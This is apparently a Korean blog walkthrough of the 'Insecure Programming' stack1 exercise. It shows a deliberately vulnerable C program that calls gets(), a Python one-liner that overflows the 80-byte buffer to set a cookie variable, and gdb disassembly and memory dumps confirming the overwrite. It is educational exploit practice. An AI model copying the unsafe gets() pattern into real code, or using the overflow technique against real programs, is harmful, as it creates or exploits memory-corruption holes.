기본 콘텐츠로 건너뛰기

Insecure-programming-stack1

Insecure-programming-stack1

Insecure Programming by example

Stack 1

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if(cookie == 0x41424344)
		printf("you win!\n");
}

cookie 변수 값이 0x41424344인 경우 you win!을 출력하는 프로그램 소스 코드이다. 하지만 정상적인 프로그램 사용을 통해서 cookie 값에 값을 삽입할 수 있는 방법은 존재하지 않으므로 buf[80]배열에 값을 넘치게 삽입하여 cookie 변수 값을 조작해야 한다.

$ echo `python -c "print 'a'*80+'DCBA'"`| ./stack1.exe
buf: 0028fe6c cookie: 0028febc
you win!

위와 같이 python을 이용하여 임의의 문자 80개를 삽입한 후 cookie 변수 값에 넣을 값 지정하면 쉽게 해결할 수 있다.

주의할 점은 리틀엔디언 방식으로 문자를 역순으로 넣어주어야한다는 점이다.

추가적으로 심볼 파일을 생성하거나 gdb를 통해서 어셈블리어 구성을 살펴보자. 간단한 코드로 특이 사항은 없으므로 간단히 눈으로 읽고 지나쳐도 좋다.

gcc -S -masm=intel -O3 -o stack1.s ./stack1.c
Non-debugging symbols:
0x00000000  __deregister_frame_info
0x00000000  __register_frame_info
0x00401520  __gcc_register_frame
0x004015d0  __gcc_deregister_frame
0x00401600  main
0x004027e0  register_frame_ctor
0x004027f0  _CTOR_LIST__
0x004027fc  _DTOR_LIST__
(gdb) b main
Breakpoint 1 at 0x401603
(gdb) set disassembly-flavor intel
(gdb) run
Starting program: D:\011. ETC\deadbits\stack1.exe
[New Thread 4344.0x282c]

Breakpoint 1, 0x00401603 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00401600 <+0>:     push   ebp
   0x00401601 <+1>:     mov    ebp,esp
=> 0x00401603 <+3>:     and    esp,0xfffffff0
   0x00401606 <+6>:     sub    esp,0x70
   0x00401609 <+9>:     call   0x4017d0 <__main>
   0x0040160e <+14>:    lea    eax,[esp+0x6c]
   0x00401612 <+18>:    mov    DWORD PTR [esp+0x8],eax
   0x00401616 <+22>:    lea    eax,[esp+0x1c]
   0x0040161a <+26>:    mov    DWORD PTR [esp+0x4],eax
   0x0040161e <+30>:    mov    DWORD PTR [esp],0x404044
   0x00401625 <+37>:    call   0x4026d4 <printf>
   0x0040162a <+42>:    lea    eax,[esp+0x1c]
   0x0040162e <+46>:    mov    DWORD PTR [esp],eax
   0x00401631 <+49>:    call   0x4026ec <gets>
   0x00401636 <+54>:    mov    eax,DWORD PTR [esp+0x6c]
   0x0040163a <+58>:    cmp    eax,0x41424344
   0x0040163f <+63>:    jne    0x40164d <main+77>
   0x00401641 <+65>:    mov    DWORD PTR [esp],0x40405c
   0x00401648 <+72>:    call   0x4026cc <puts>
   0x0040164d <+77>:    mov    eax,0x0
   0x00401652 <+82>:    leave
   0x00401653 <+83>:    ret
   0x00401654 <+84>:    xchg   ax,ax
   0x00401656 <+86>:    xchg   ax,ax
   0x00401658 <+88>:    xchg   ax,ax
   0x0040165a <+90>:    xchg   ax,ax
   0x0040165c <+92>:    xchg   ax,ax
   0x0040165e <+94>:    xchg   ax,ax
End of assembler dump.
(gdb) p/d 0x6c -0x1c
$3 = 80

get함수의 인자 값인 buf배열의 주소가 [esp+0x1c]이고 cookie변수의 주소가 [esp+0x6c]이므로 두 변수의 차 0x50(80)만큼 임의의 값을 채우면 cookie변수에 값을 삽입할 수 있음을 예상할 수 있다.

이제 브레이크 포인트를 설정하여 실제 메모리 수정을 확인해보자.

(gdb) b *main+58
Breakpoint 4 at 0x40163a
(gdb) run
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDCBA

Breakpoint 4, 0x0040163a in main ()
(gdb) x/32x $esp
0x28fe50:       0x0028fe6c      0x0028fe6c      0x0028febc      0x00401687
0x28fe60:       0x00401740      0x75883021      0x0028fe70      0x61616161
0x28fe70:       0x61616161      0x61616161      0x61616161      0x61616161
0x28fe80:       0x61616161      0x61616161      0x61616161      0x61616161
0x28fe90:       0x61616161      0x61616161      0x61616161      0x61616161
0x28fea0:       0x61616161      0x61616161      0x61616161      0x61616161
0x28feb0:       0x61616161      0x61616161      0x61616161      0x41424344
0x28fec0:       0x00000000      0x008d178c      0x0028ff88      0x004013eb
(gdb) p/x $esp+0x1c
$5 = 0x28fe6c
(gdb) p/x $esp+0x6c
$6 = 0x28febc
(gdb) c
Continuing.
buf: 0028fe6c cookie: 0028febc
you win!

전체 목록 보기 : Insecure programming
진행 환경 : Windows7 MSYS32

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

American Fuzzy Lop And Address Sanitizer

American Fuzzy Lop And Address Sanitizer Address Sanitizer(ASAN) 단지 gcc/clang에 -fsanitize=address 옵션을 추가하는 것으로 간단히 사용할 수 있지만 그 효과는 충분하다. Example Out Of Bounds Read #include <stdio.h> int main() { int a[ 2 ] = { 3 , 1 }; int i = 2 ; printf ( "%i\n" , a[i]); } 예제 파일을 OutOfBoundsRead.c 로 생성하고 ASAN 옵션을 지정하여 clang 으로 컴파일하자. clang -g -fsanitize = address -fno -omit -frame -pointer OutOfBoundsRead . c -o OutOfBoundsRead 생성된 OutBoundsRead 파일을 실행하면 다음과 같은 결과를 볼 수 있다. ================================================================= ==3678==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0ba87428 at pc 0x47b7db bp 0x7ffc0ba87390 sp 0x7ffc0ba87388 READ of size 4 at 0x7ffc0ba87428 thread T0 ==3678==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x47b7da (/root/ASAN/OutOfBoundsRead+0x47b7da) #1 0x7faba0260f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #2 0x...